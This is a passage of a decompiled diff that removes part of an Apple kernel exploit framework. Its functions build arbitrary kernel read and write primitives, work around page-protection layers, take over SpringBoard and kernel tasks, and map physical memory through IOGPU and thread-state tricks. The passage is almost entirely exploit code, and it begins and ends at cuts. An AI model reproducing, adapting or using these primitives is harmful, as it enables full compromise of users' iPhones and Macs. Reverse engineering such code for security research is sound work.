= 0LL; - while ( 1 ) - { - v65 = *((_QWORD *)v41 + 0x10); - v66 = *(_opaque_pthread_t **)(v65 + 8 * v64); - if ( v66 != *((_opaque_pthread_t **)v41 + 0xD) ) - break; -LABEL_109: - *(_QWORD *)(v65 + 8 * v64++) = 0LL; - if ( v64 >= v63 ) - goto LABEL_110; - } - v67 = pthread_join(v66, 0LL); - if ( !v67 ) - { - v65 = *((_QWORD *)v41 + 0x10); - v63 = *((_DWORD *)v41 + 0x1F); - goto LABEL_109; - } - if ( v67 >= 0 ) - v68 = v67; - else - v68 = -v67; - v6 = v68 | 0x40000000u; -LABEL_115: - v62 = pthread_mutex_unlock((pthread_mutex_t *)(v41 + 0x20)); - if ( v62 ) - { -LABEL_124: - if ( v62 >= 0 ) - v70 = v62; - else - v70 = -v62; - v6 = v70 | 0x40000000u; - goto LABEL_129; - } - v54 <<= v54 < (unsigned int)v44; - v50 = (_opaque_pthread_t *)*((_QWORD *)v41 + 0xD); - } - while ( !v50 ); - if ( !(_DWORD)v6 ) - { -LABEL_89: - v51 = pthread_mach_thread_np(v50); - v6 = 0LL; - v52 = semaphore; - v53 = *((_QWORD *)v41 + 0xE); - goto LABEL_134; - } -LABEL_123: - v43 = 1; - LODWORD(v44) = v81; -LABEL_130: - if ( semaphore + 1 >= 2 ) - { - v71 = v43; - semaphore_signal(semaphore); - semaphore_destroy(mach_task_self_, semaphore); - v43 = v71; - } - if ( !v41 ) - goto LABEL_142; - v81 = v44; - v52 = 0; - v51 = 0; - v53 = 0LL; - v27 = 0; - v23 = 0; - v26 = 0LL; - if ( v43 ) - { -LABEL_134: - v23 = v51; - v27 = v52; - pthread_mutex_destroy((pthread_mutex_t *)(v41 + 0x20)); - v26 = v53; - } - v72 = (pthread_t *)*((_QWORD *)v41 + 0x10); - if ( v72 ) - { - v73 = *((_DWORD *)v41 + 0x1F); - if ( v73 ) - { - v74 = 0LL; - while ( 1 ) - { - if ( v72[v74] ) - { - pthread_join(v72[v74], 0LL); - v72 = (pthread_t *)*((_QWORD *)v41 + 0x10); - v73 = *((_DWORD *)v41 + 0x1F); - } - v72[v74++] = 0LL; - if ( v74 >= v73 ) - break; - v72 = (pthread_t *)*((_QWORD *)v41 + 0x10); - } - v72 = (pthread_t *)*((_QWORD *)v41 + 0x10); - } - bzero(v72, 8LL * v81); - free(*((void **)v41 + 0x10)); - } - free(v41); -LABEL_146: - v75 = *(_QWORD *)(a1 + 0x90); - if ( v75 ) - { - v76 = *(_QWORD *)(a1 + 0x98); - if ( v76 ) - { - vm_deallocate(mach_task_self_, v75, v76); - *(_QWORD *)(a1 + 0x90) = 0LL; - *(_QWORD *)(a1 + 0x98) = 0LL; - } - } - if ( v34 ) - free(v34); - if ( v83 && (_DWORD)v32 ) - vm_deallocate(mach_task_self_, (vm_address_t)v83, v32); - if ( (_DWORD)v6 ) - goto LABEL_158; -LABEL_155: - if ( *(_QWORD *)(a1 + 0x158) >= 0x27120F04B00003uLL && (*(_BYTE *)a1 & 0x20) != 0 ) - { - v78 = 0LL; - } - else - { - v6 = physmap_here(a1, &address, v4, v26); - if ( (_DWORD)v6 ) - goto LABEL_158; - v78 = (__int64 *)((*(_QWORD *)(a1 + 0x188) & v26) + address); - v6 = 0x28026LL; - if ( !validate_addr(a1, *v78) ) - goto LABEL_158; - } - v6 = 0LL; - *(_DWORD *)(a1 + 0xAC) = v23; - *(_QWORD *)(a1 + 0xB0) = address; - *(_QWORD *)(a1 + 0xB8) = v4; - *(_DWORD *)(a1 + 0xC0) = *(_DWORD *)(a1 + 0x188) & v26; - *(_QWORD *)(a1 + 0xC8) = v78; - *(_DWORD *)(a1 + 0xD0) = v27; - *(_QWORD *)(a1 + 0xD8) = v26; - return v6; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (00000000000280A0) ---------------------------------------------------- -__int64 __fastcall sub_280A0(__int64 a1, vm_address_t *a2, vm_size_t a3, __int64 a4) -{ - mem_entry_name_port_t v4; // w5 - kern_return_t v6; // w0 - - v4 = *(_DWORD *)(a1 + 0x58); - if ( v4 + 1 < 2 ) - return 0xAD001LL; - v6 = vm_map(mach_task_self_, a2, a3, 0LL, 1, v4, a4 & ~*(_QWORD *)(a1 + 0x188), 0, 3, 3, 2u); - if ( v6 ) - return v6 | 0x80000000; - else - return 0LL; -} - -//----- (000000000002811C) ---------------------------------------------------- -__int64 __fastcall sub_2811C(__int64 a1) -{ - mach_port_t v2; // w0 - _opaque_pthread_t *v3; // x20 - semaphore_t v4; // w0 - vm_address_t v5; // x1 - vm_size_t v6; // x2 - mach_port_name_t v7; // w1 - - v2 = *(_DWORD *)(a1 + 0xAC); - if ( v2 + 1 >= 2 ) - { - v3 = pthread_from_mach_thread_np(v2); - v4 = *(_DWORD *)(a1 + 0xD0); - if ( v4 + 1 >= 2 ) - { - semaphore_signal(v4); - semaphore_destroy(mach_task_self_, *(_DWORD *)(a1 + 0xD0)); - *(_DWORD *)(a1 + 0xD0) = 0; - if ( !v3 ) - goto LABEL_5; - } - else if ( !v3 ) - { -LABEL_5: - *(_DWORD *)(a1 + 0xAC) = 0; - goto LABEL_6; - } - pthread_join(v3, 0LL); - goto LABEL_5; - } -LABEL_6: - v5 = *(_QWORD *)(a1 + 0xB0); - if ( v5 ) - { - v6 = *(_QWORD *)(a1 + 0xB8); - if ( v6 ) - { - vm_deallocate(mach_task_self_, v5, v6); - *(_QWORD *)(a1 + 0xB0) = 0LL; - *(_QWORD *)(a1 + 0xB8) = 0LL; - } - } - *(_QWORD *)(a1 + 0xC8) = 0LL; - v7 = *(_DWORD *)(a1 + 0x58); - if ( v7 + 1 >= 2 ) - { - mach_port_deallocate(mach_task_self_, v7); - *(_DWORD *)(a1 + 0x58) = 0; - } - return 0LL; -} - -//----- (00000000000281F0) ---------------------------------------------------- -__int64 __fastcall sub_281F0(__int64 a1) -{ - __int64 v1; // x20 - kern_return_t v4; // w0 - mach_port_name_t name; // [xsp+Ch] [xbp-14h] BYREF - - v1 = *(_QWORD *)(a1 + 0x1D48); - if ( !v1 ) - return 0xAD001LL; - if ( (unsigned int)(*(_DWORD *)(v1 + 0x70) + 1) < 2 ) - return 0LL; - name = 0; - if ( (unsigned int)sub_28288(a1, &name) ) - return sub_1C8B0(a1, 0x14u, *(_DWORD *)(v1 + 0x70)); - v4 = mach_port_deallocate(mach_task_self_, name); - if ( v4 ) - return v4 | 0x80000000; - else - return 0LL; -} - -//----- (0000000000028288) ---------------------------------------------------- -__int64 __fastcall sub_28288(__int64 a1, mach_port_t *a2) -{ - __int64 v3; // x20 - kern_return_t v4; // w0 - size_t v6; // [xsp+0h] [xbp-70h] BYREF - mach_port_t connection; // [xsp+Ch] [xbp-64h] BYREF - _OWORD outputStruct[4]; // [xsp+10h] [xbp-60h] BYREF - - connection = 0; - v6 = 0x40LL; - v3 = sub_1BE0C(a1, 0x14u, &connection); - if ( !(_DWORD)v3 ) - { - memset(outputStruct, 0, sizeof(outputStruct)); - v4 = IOConnectCallStructMethod(connection, 1u, 0LL, 0LL, outputStruct, &v6); - if ( v4 ) - { - v3 = v4 | 0x80000000; - } - else - { - v3 = 0LL; - *a2 = connection; - connection = 0; - } - } - if ( connection + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, connection); - return v3; -} - -//----- (0000000000028364) ---------------------------------------------------- -__int64 __fastcall sub_28364(__int64 a1) -{ - __int64 v1; // x24 - __int64 v3; // x20 - unsigned __int64 v4; // x0 - __int64 v5; // x0 - unsigned __int64 v6; // x0 - unsigned __int64 v7; // x0 - unsigned __int64 v8; // x21 - __int64 v9; // x25 - const __CFDictionary *v10; // x0 - io_service_t MatchingService; // w0 - io_object_t v12; // w22 - kern_return_t v13; // w0 - char v15; // w27 - unsigned __int64 v16; // x0 - unsigned __int64 v17; // x22 - __int64 v18; // x0 - __int64 v19; // x21 - unsigned __int64 v20; // x1 - __int64 v21; // x0 - __int64 v22; // x0 - __int64 v23; // x23 - int v24; // w8 - __int64 v25; // x8 - int v26; // w21 - __int64 v27; // x8 - __int64 v28; // x9 - __int64 v29; // x8 - __int64 v30; // [xsp+0h] [xbp-90h] BYREF - io_connect_t connect; // [xsp+Ch] [xbp-84h] BYREF - __int64 v32; // [xsp+10h] [xbp-80h] BYREF - __int64 v33; // [xsp+18h] [xbp-78h] BYREF - __int64 v34; // [xsp+20h] [xbp-70h] BYREF - __int64 v35; // [xsp+28h] [xbp-68h] BYREF - __int64 v36; // [xsp+30h] [xbp-60h] BYREF - __int64 v37; // [xsp+38h] [xbp-58h] BYREF - - v34 = 0LL; - v35 = 0LL; - v32 = 0LL; - v33 = 0LL; - connect = 0; - v1 = *(_QWORD *)(a1 + 0x1D48); - if ( !v1 ) - { - v3 = 0xAD022LL; - goto LABEL_19; - } - if ( (unsigned int)sub_28288(a1, &connect) ) - { - v3 = 0x28026LL; - v37 = 0LL; - v4 = sub_32D24(a1); - if ( !v4 ) - goto LABEL_19; - v5 = krw_task_for_name(a1, v4, "SpringBoard"); - if ( !v5 ) - goto LABEL_19; - v6 = sub_33ED8(a1, v5); - if ( !v6 ) - goto LABEL_19; - if ( !kread64((_DWORD *)a1, v6, &v36) ) - goto LABEL_47; - if ( !validate_addr(a1, v36) ) - goto LABEL_19; - v7 = sub_33FFC(a1, mach_task_self_); - if ( !v7 ) - goto LABEL_19; - v8 = v7; - if ( !kread64((_DWORD *)a1, v7, &v37) ) - { -LABEL_47: - v3 = 0x2800FLL; - goto LABEL_19; - } - if ( !validate_addr(a1, v37) ) - goto LABEL_19; - if ( (v37 ^ (unsigned __int64)v36) >> 0x20 ) - { - v3 = 0x28011LL; - goto LABEL_19; - } - v9 = 0x28010LL; - if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, v8, (__int64)&v36, 4LL) ) - goto LABEL_72; - v10 = IOServiceMatching("IOGPU"); - MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v10); - if ( MatchingService + 1 < 2 ) - { - if ( (unsigned int)kwritebuf_universal((_QWORD *)a1, v8, (__int64)&v37, 4LL) ) - v3 = 0xAD011LL; - else - v3 = 0x28010LL; - goto LABEL_19; - } - v12 = MatchingService; - v13 = IOServiceOpen(MatchingService, mach_task_self_, 1u, &connect); - if ( v13 ) - { - if ( v13 <= (int)0xE00002BB ) - v3 = v13 | 0x80000000; - else - v3 = v13 & 0xFFF | 0x70000000u; - } - else - { - v3 = 0LL; - } - v26 = kwritebuf_universal((_QWORD *)a1, v8, (__int64)&v37, 4LL); - IOObjectRelease(v12); - if ( !v26 ) - goto LABEL_72; - if ( (_DWORD)v3 ) - goto LABEL_19; - v15 = 0; - } - else - { - if ( *(_QWORD *)(v1 + 0x50) && *(_QWORD *)(v1 + 0x58) && *(_QWORD *)(v1 + 0x60) && *(_QWORD *)(v1 + 0x68) ) - goto LABEL_26; - v15 = 1; - } - v16 = port_name_to_kaddr(a1, connect); - if ( !v16 ) - { - v3 = 0x28025LL; - goto LABEL_19; - } - v17 = v16; - v9 = 0x2800FLL; - if ( !kread64((_DWORD *)a1, v16 + 0x120, &v35) ) - goto LABEL_72; - if ( !validate_addr(a1, v35) ) - goto LABEL_46; - v18 = get_kobject_maybe(a1, v35 + 0xD0); - if ( !v18 ) - goto LABEL_46; - v19 = v18; - if ( !kread64((_DWORD *)a1, v35 + 0xD0, &v34) || !kread64((_DWORD *)a1, v35 + 0x10, &v33) ) - goto LABEL_72; - if ( !validate_addr(a1, v33) ) - goto LABEL_46; - if ( !kread64((_DWORD *)a1, v33 + 0x10, &v32) ) - goto LABEL_72; - if ( !validate_addr(a1, v32) - || (v20 = *(_QWORD *)(a1 + 0x19D0)) == 0 - || (v21 = sub_328A4(a1, v20)) == 0 - || (v22 = krw_task_for_pid_0(a1, v21, 1)) == 0 ) - { -LABEL_46: - v3 = 0x28026LL; - goto LABEL_19; - } - v23 = v22; - v24 = *(_DWORD *)(a1 + 0x140); - if ( v24 != 0x2258 && v24 != 0x2712 && v24 != 0x225C ) - goto LABEL_65; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5100000) ) - { - v25 = 0x3D8LL; - goto LABEL_60; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x84001) ) - { - v25 = 0x3C0LL; - goto LABEL_60; - } - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x2240) ) - { -LABEL_65: - v3 = 0x2802CLL; - goto LABEL_19; - } - v25 = 0x3A8LL; -LABEL_60: - if ( !kreadbuf(a1, v25 + v23, 8uLL, &v30, 1LL) ) - goto LABEL_72; - v27 = v30; - v3 = 0x28011LL; - if ( v30 && (v30 & 7) == 0 ) - { - if ( (v15 & 1) != 0 ) - { -LABEL_64: - v28 = v34; - *(_QWORD *)(v1 + 0x50) = v27; - *(_QWORD *)(v1 + 0x58) = v28; - v29 = v32; - *(_QWORD *)(v1 + 0x60) = v19; - *(_QWORD *)(v1 + 0x68) = v29; -LABEL_26: - v3 = 0LL; - *(_DWORD *)(v1 + 0x70) = connect; - *(_BYTE *)(v1 + 0x4A) = 1; - return v3; - } - v3 = sub_36000(a1, v23); - if ( !(_DWORD)v3 ) - { - v37 = v23; - if ( !noppl_kwritebuf(a1, v35 + 0x50, &v37, *(unsigned int *)(a1 + 0x168), 1) ) - { -LABEL_73: - v3 = 0x28010LL; - goto LABEL_19; - } - if ( kread64((_DWORD *)a1, v17 + 0x88, &v36) ) - { - v3 = 0x28026LL; - if ( !validate_addr(a1, v36) ) - goto LABEL_19; - v37 = 0LL; - if ( noppl_kwritebuf(a1, v36 + 8, &v37, *(unsigned int *)(a1 + 0x168), 1) ) - { - v27 = v30; - goto LABEL_64; - } - goto LABEL_73; - } -LABEL_72: - v3 = v9; - } - } -LABEL_19: - if ( connect + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, connect); - return v3; -} - -//----- (0000000000028840) ---------------------------------------------------- -bool __fastcall kread64(_DWORD *a1, unsigned __int64 a2, __int64 *a3) -{ - _BOOL8 v5; // x20 - __int64 v6; // x1 - - v5 = kread64_internal((__int64)a1, a2, a3); - if ( v5 ) - { - v6 = *a3; - if ( (*a1 & 0x5584001) != 0 ) - v6 = krw_xpac_vaddr((__int64)a1, v6); - *a3 = v6; - } - return v5; -} - -//----- (00000000000288A4) ---------------------------------------------------- -bool __fastcall sub_288A4(__int64 a1, unsigned __int64 a2, __int64 a3) -{ - __int64 v4; // [xsp+8h] [xbp-8h] BYREF - - v4 = a3; - return noppl_kwritebuf(a1, a2, &v4, *(unsigned int *)(a1 + 0x168), 1); -} - -//----- (00000000000288D4) ---------------------------------------------------- -__int64 __fastcall sub_288D4(__int64 a1) -{ - __int64 v2; // x28 - __int64 v3; // x21 - __int64 v4; // x27 - unsigned __int64 *v5; // x0 - unsigned __int64 *v6; // x20 - void *(__cdecl *v7)(void *); // x0 - int v8; // w0 - mach_port_t v9; // w0 - unsigned int v10; // w23 - int v11; // w22 - mach_timespec_t v12; // x1 - unsigned __int64 v13; // x0 - int v14; // w8 - unsigned __int64 v15; // x9 - pthread_t *v16; // x25 - __int64 *v17; // x24 - __int64 v18; // x23 - __int64 v20; // x0 - unsigned __int64 v21; // x22 - vm_address_t v22; // x8 - __int64 v23; // x0 - __int64 v24; // x0 - int v25; // w8 - __int64 v26; // x0 - vm_size_t v27; // [xsp+0h] [xbp-180h] - vm_address_t v28; // [xsp+8h] [xbp-178h] BYREF - __int128 v29; // [xsp+10h] [xbp-170h] BYREF - __int128 v30; // [xsp+20h] [xbp-160h] - __int128 v31; // [xsp+30h] [xbp-150h] - __int128 v32; // [xsp+40h] [xbp-140h] - __int128 v33; // [xsp+50h] [xbp-130h] - __int128 v34; // [xsp+60h] [xbp-120h] - __int128 v35; // [xsp+70h] [xbp-110h] - __int128 v36; // [xsp+80h] [xbp-100h] - __int128 v37; // [xsp+90h] [xbp-F0h] BYREF - __int128 v38; // [xsp+A0h] [xbp-E0h] - __int128 v39; // [xsp+B0h] [xbp-D0h] - __int128 v40; // [xsp+C0h] [xbp-C0h] - __int128 v41; // [xsp+D0h] [xbp-B0h] - __int128 v42; // [xsp+E0h] [xbp-A0h] - __int128 v43; // [xsp+F0h] [xbp-90h] - __int128 v44; // [xsp+100h] [xbp-80h] - - v2 = 0LL; - v27 = vm_page_size; - v28 = 0LL; - v3 = 0x28026LL; - v43 = 0u; - v44 = 0u; - v41 = 0u; - v42 = 0u; - v39 = 0u; - v40 = 0u; - v37 = 0u; - v38 = 0u; - v35 = 0u; - v36 = 0u; - v33 = 0u; - v34 = 0u; - v31 = 0u; - v32 = 0u; - v4 = 0x28008LL; - v29 = 0u; - v30 = 0u; - while ( 1 ) - { - v5 = (unsigned __int64 *)calloc(1uLL, 0x78uLL); - *((_QWORD *)&v29 + v2) = v5; - if ( !v5 ) - { - v4 = 0xAD009LL; -LABEL_20: - v6 = 0LL; - goto LABEL_22; - } - v6 = v5; - v7 = (void *(__cdecl *)(void *))nullsub_1(sub_2B03C); - v8 = pthread_create((pthread_t *)&v37 + v2, 0LL, v7, v6); - if ( v8 ) - { - v6 = 0LL; - if ( v8 >= 0 ) - v14 = v8; - else - v14 = -v8; - v4 = v14 | 0x40000000u; - goto LABEL_22; - } - v9 = pthread_mach_thread_np(*((pthread_t *)&v37 + v2)); - if ( v9 + 1 < 2 ) - goto LABEL_20; - v10 = v9; - *((_DWORD *)v6 + 0xC) = v9; - if ( !*((_BYTE *)v6 + 0x49) ) - break; -LABEL_9: - v13 = port_name_to_kaddr(a1, v10); - if ( !v13 ) - { - v4 = 0x28026LL; - goto LABEL_20; - } - if ( (((v13 + 0x5F0) ^ v13) & ~*(_QWORD *)(a1 + 0x188)) == 0 ) - { - v4 = 0LL; - v15 = *((_QWORD *)&v37 + v2); - *((_QWORD *)&v29 + v2) = 0LL; - *((_QWORD *)&v37 + v2) = 0LL; - LODWORD(v2) = v2 + 1; - *v6 = v13; - v6[5] = v15; - goto LABEL_22; - } - if ( ++v2 == 0x10 ) - { - v6 = 0LL; - v4 = 0xAD011LL; - goto LABEL_23; - } - } - v11 = 0x3EA; - while ( --v11 ) - { - v12 = (mach_timespec_t)0xF424000000000LL; - semaphore_timedwait(*(_DWORD *)(a1 + 0x264), v12); - if ( *((_BYTE *)v6 + 0x49) ) - goto LABEL_9; - } - v6 = 0LL; - v4 = 0x1001LL; -LABEL_22: - if ( (int)v2 <= 0 ) - goto LABEL_29; -LABEL_23: - v16 = (pthread_t *)&v37; - v17 = (__int64 *)&v29; - v2 = (unsigned int)v2; - do - { - v18 = *v17; - if ( *v17 && (unsigned int)(*(_DWORD *)(v18 + 0x30) + 1) >= 2 && *v16 ) - { - *(_BYTE *)(v18 + 0x48) = 1; - __ulock_wake(); - pthread_join(*v16, 0LL); - *v16 = 0LL; - free((void *)v18); - *v17 = 0LL; - } - ++v16; - ++v17; - --v2; - } - while ( v2 ); -LABEL_29: - if ( (_DWORD)v4 ) - return v4; - *(_QWORD *)(a1 + 0x1D48) = v6; - if ( !v6 ) - return 0xAD001LL; - v20 = sub_28CE0(a1, *v6, 1LL); - v6[1] = v20; - if ( v20 ) - { - v21 = *v6; - v3 = physmap_maybe(a1, &v28, v27, v20); - if ( !(_DWORD)v3 ) - { - v22 = v28; - v6[2] = v28; - v6[3] = v27; - v6[4] = (*(_QWORD *)(a1 + 0x188) & v21) + v22; - v3 = sub_39A24(a1, 0LL); - if ( !(_DWORD)v3 ) - { - v23 = *(_QWORD *)(a1 + 0x19F8); - v3 = 0xAD001LL; - if ( v23 ) - { - sub_19D10(v23, &v37); - *((_QWORD *)&v37 + 1) = *((_QWORD *)&v37 + 1) + v38 - 0x20000; - *(_QWORD *)&v38 = 0x20000LL; - v29 = v37; - *(_QWORD *)&v30 = 0x20000LL; - v24 = kernel_pattern_scan((__int64)&v29, "E8 0B 80 52", 0); - if ( !v24 ) - return 0xAD011LL; - v25 = (unsigned __int16)((unsigned int)sub_19ACC((__int64 *)v37, (__int64 *)(v24 - 8)) >> 5); - if ( (unsigned int)(v25 - 1) >= 0xBFF ) - return 0x28011LL; - *((_DWORD *)v6 + 0xE) = v25; - if ( *(_QWORD *)(a1 + 0x158) < 0x27120F04B00003uLL || (*(_BYTE *)a1 & 0x20) == 0 ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584201) ) - { - v26 = sub_38034((int *)a1, v6[4], 1, 1, 0x60); -LABEL_47: - v3 = v26; - if ( (_DWORD)v26 ) - return v3; - } - return 0LL; - } - v26 = sub_38158(a1, v6[1], 1, 1, 0x60); - goto LABEL_47; - } - } - } - } - return v3; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000028CE0) ---------------------------------------------------- -__int64 __fastcall sub_28CE0(__int64 a1, unsigned __int64 a2, __int64 a3) -{ - int v5; // w0 - _OWORD v7[2]; // [xsp+0h] [xbp-40h] BYREF - __int64 v8; // [xsp+20h] [xbp-20h] - - v8 = 0LL; - memset(v7, 0, sizeof(v7)); - sub_213D4(a1, a2, (__int64)v7, a3); - if ( v5 ) - return *(_QWORD *)(a1 + 0x188) & a2 | v8 & 0xFFFFFFFFC000LL; - else - return 0LL; -} -// 28D14: variable 'v5' is possibly undefined - -//----- (0000000000028D44) ---------------------------------------------------- -__int64 __fastcall sub_28D44(__int64 a1) -{ - __int64 v1; // x21 - _QWORD *v2; // x19 - vm_address_t v4; // x1 - vm_size_t v5; // x2 - - v1 = 0xAD001LL; - v2 = *(_QWORD **)(a1 + 0x1D48); - if ( v2 ) - { - v4 = v2[2]; - if ( !v4 - || (v5 = v2[3]) == 0 - || (vm_deallocate(mach_task_self_, v4, v5), v2[2] = 0LL, v2[3] = 0LL, (v2 = *(_QWORD **)(a1 + 0x1D48)) != 0LL) ) - { - *(_QWORD *)(a1 + 0x1D48) = 0LL; - *((_BYTE *)v2 + 0x48) = 1; - __ulock_wake(); - pthread_join((pthread_t)v2[5], 0LL); - *(_OWORD *)v2 = 0u; - *((_OWORD *)v2 + 1) = 0u; - *((_OWORD *)v2 + 2) = 0u; - *((_OWORD *)v2 + 3) = 0u; - *((_OWORD *)v2 + 4) = 0u; - *((_OWORD *)v2 + 5) = 0u; - *((_OWORD *)v2 + 6) = 0u; - v2[0xE] = 0LL; - free(v2); - return 0LL; - } - } - return v1; -} - -//----- (0000000000028DFC) ---------------------------------------------------- -bool __fastcall noppl_kwrite32(__int64 a1, mach_vm_address_t address, int a3) -{ - __int64 (__fastcall *v5)(__int64, mach_vm_address_t, int *, __int64, __int64); // x8 - int v6; // w0 - kern_return_t v7; // w21 - vm_map_t v9; // w0 - int v10; // [xsp+8h] [xbp-28h] BYREF - vm_machine_attribute_val_t value; // [xsp+Ch] [xbp-24h] BYREF - - v10 = a3; - v5 = *(__int64 (__fastcall **)(__int64, mach_vm_address_t, int *, __int64, __int64))(a1 + 0x40); - if ( v5 ) - { - v6 = v5(a1, address, &v10, 4LL, 1LL); - goto LABEL_3; - } - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) - { - v6 = sub_28F90(a1, address, &v10, 4LL, 1LL); - } - else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) - { - v6 = sub_271B0(a1, address, (__int64)&v10, 4u, 1); - } - else - { - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) - goto LABEL_22; - if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) - { - v6 = sub_268F8(a1, address, (__int64)&v10, 4u, 1); - goto LABEL_3; - } - if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) - { -LABEL_22: - v7 = mach_vm_write(*(_DWORD *)(a1 + 0x1918), address, (vm_offset_t)&v10, 4u); - v9 = *(_DWORD *)(a1 + 0x1918); - value = 7; - mach_vm_machine_attribute(v9, address, 4uLL, 1u, &value); - return v7 == 0; - } - v6 = sub_25498((int *)a1, address, &v10, 4u, 1); - } -LABEL_3: - if ( v6 ) - v7 = 5; - else - v7 = 0; - return v7 == 0; -} -// 28F90: using guessed type __int64 __fastcall sub_28F90(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); - -//----- (0000000000028F90) ---------------------------------------------------- -__int64 __fastcall sub_28F90( - __int64 ctx, - unsigned __int64 targetAddr, - __int64 valueBuf, - unsigned int valueSize, - int useFdPrimitive) -{ - __int64 v5; // x25 - __int64 v6; // x8 - unsigned int valueSize_; // w26 - unsigned int v12; // w24 - __int64 v13; // x8 - __int64 v14; // x21 - __int64 v15; // x23 - __int64 v16; // x0 - size_t v17; // x2 - __int64 v18; // x25 - unsigned int v19; // w28 - unsigned __int64 v20; // x19 - unsigned __int64 v21; // x8 - __int64 v22; // x20 - unsigned int v23; // w21 - unsigned __int64 v24; // x24 - __int64 v25; // x0 - size_t v26; // x2 - int v27; // w19 - int upcomingWriteBuf_; // w23 - vm_size_t v29; // x20 - __int64 v30; // x21 - __int64 v31; // x26 - int v32; // w9 - __int64 v33; // x8 - __int64 v34; // x9 - __int64 v35; // x19 - __int64 *v36; // x27 - int v37; // w20 - unsigned __int64 v38; // x1 - __int64 v39; // x0 - __int64 physAddr; // x0 - __int64 v41; // x19 - vm_address_t v42; // x8 - int v43; // w9 - bool v44; // zf - __int64 v45; // x0 - __int64 v46; // x0 - int v47; // w8 - __int64 v48; // x19 - int v49; // w8 - unsigned int v50; // w8 - unsigned int v51; // w20 - __int64 v52; // x0 - __int64 v53; // x0 - int v54; // w0 - vm_size_t physSize; // [xsp+8h] [xbp-B8h] - unsigned __int64 v57; // [xsp+10h] [xbp-B0h] - __int64 valueBuf__; // [xsp+18h] [xbp-A8h] - unsigned int valueSize__; // [xsp+24h] [xbp-9Ch] - unsigned __int64 v60; // [xsp+28h] [xbp-98h] - unsigned __int64 v61; // [xsp+30h] [xbp-90h] - unsigned int v62; // [xsp+38h] [xbp-88h] - int upcomingWriteBuf; // [xsp+40h] [xbp-80h] BYREF - int v64; // [xsp+44h] [xbp-7Ch] BYREF - int v65; // [xsp+48h] [xbp-78h] BYREF - int v66; // [xsp+4Ch] [xbp-74h] BYREF - unsigned __int64 v67; // [xsp+50h] [xbp-70h] BYREF - __int64 v68; // [xsp+58h] [xbp-68h] BYREF - vm_address_t address; // [xsp+60h] [xbp-60h] BYREF - unsigned __int64 v70; // [xsp+68h] [xbp-58h] BYREF - - v5 = 0xAD001LL; - v6 = *(_QWORD *)(ctx + 0x1D48); - if ( !v6 ) - return v5; - valueSize_ = valueSize; - if ( ((targetAddr & 3) != 0 || valueSize != 4) && *(_BYTE *)(v6 + 0x4A) ) - { - if ( (unsigned int)(*(_DWORD *)(ctx + 0xAC) + 1) >= 2 ) - { - if ( *(_QWORD *)(ctx + 0xD8) ) - { - if ( validate_addr_maybe2(ctx, targetAddr) ) - { - LODWORD(address) = 0xFFFFFFFF; - if ( !useFdPrimitive || (v5 = fd_open_dev_null((int *)&address), !(_DWORD)v5) ) - { - if ( valueSize_ ) - { - v12 = 0; - while ( 1 ) - { - v70 = 0LL; - v13 = targetAddr + v12; - v14 = v13 & 7; - v15 = v13 - v14; - v16 = kreadbuf_via_dev_null_and_thread_state(ctx, v13 - v14, (__int64)&v70, 8u, 0); - if ( (_DWORD)v16 ) - break; - v17 = 8 - v14 >= (unsigned __int64)(valueSize_ - v12) ? valueSize_ - v12 : 8 - v14; - v18 = v70; - memcpy((void *)((unsigned __int64)&v70 | v14), (const void *)(valueBuf + v12), v17); - if ( v18 != v70 ) - { - v16 = sub_2B0E8(ctx, v15, v70); - if ( (_DWORD)v16 ) - break; - } - v12 = v12 - v14 + 8; - if ( v12 >= valueSize_ ) - goto LABEL_19; - } - v5 = v16; - } - else - { -LABEL_19: - v5 = 0LL; - } - v54 = address; - goto LABEL_100; - } - } - } - } - return v5; - } - if ( !validate_addr_maybe2(ctx, targetAddr) ) - return v5; - v64 = 0xFFFFFFFF; - if ( useFdPrimitive ) - { - v5 = fd_open_dev_null(&v64); - if ( (_DWORD)v5 ) - return v5; - } - if ( !valueSize_ ) - goto LABEL_97; - v61 = targetAddr; - v19 = 0; - valueSize__ = valueSize_; - valueBuf__ = valueBuf; -LABEL_25: - v20 = valueSize_ - v19; - upcomingWriteBuf = 0; - v21 = v61 + v19; - if ( (unsigned int)v20 >= 4 ) - { - v23 = 0; - v22 = v19; - } - else - { - v22 = v19; - if ( (((v21 + (unsigned int)v20 - 1) ^ (v21 + 3)) & ~*(_QWORD *)(ctx + 0x188)) != 0 ) - v23 = 4 - v20; - else - v23 = 0; - } - v24 = v21 - v23; - v25 = kreadbuf_via_dev_null_and_thread_state(ctx, v24, (__int64)&upcomingWriteBuf, 4u, 0); - if ( !(_DWORD)v25 ) - { - if ( 4 - (unsigned __int64)v23 >= v20 ) - v26 = valueSize_ - v19; - else - v26 = 4LL - v23; - v27 = upcomingWriteBuf; - memcpy((char *)&upcomingWriteBuf + v23, (const void *)(valueBuf + v22), v26); - upcomingWriteBuf_ = upcomingWriteBuf; - v62 = v23; - if ( v27 == upcomingWriteBuf ) - goto LABEL_72; - v70 = v24; - address = 0LL; - v29 = vm_page_size; - if ( krw_ctx_has_flag((_DWORD *)ctx, 0x4000000) ) - { - v30 = 0xE0LL; - } - else if ( krw_ctx_has_flag((_DWORD *)ctx, 0x5584201) ) - { - v30 = 0x90LL; - } - else - { - v30 = 0xD8LL; - } - v31 = *(_QWORD *)(ctx + 0x1D48); - v5 = 0xAD001LL; - if ( !v31 ) - goto 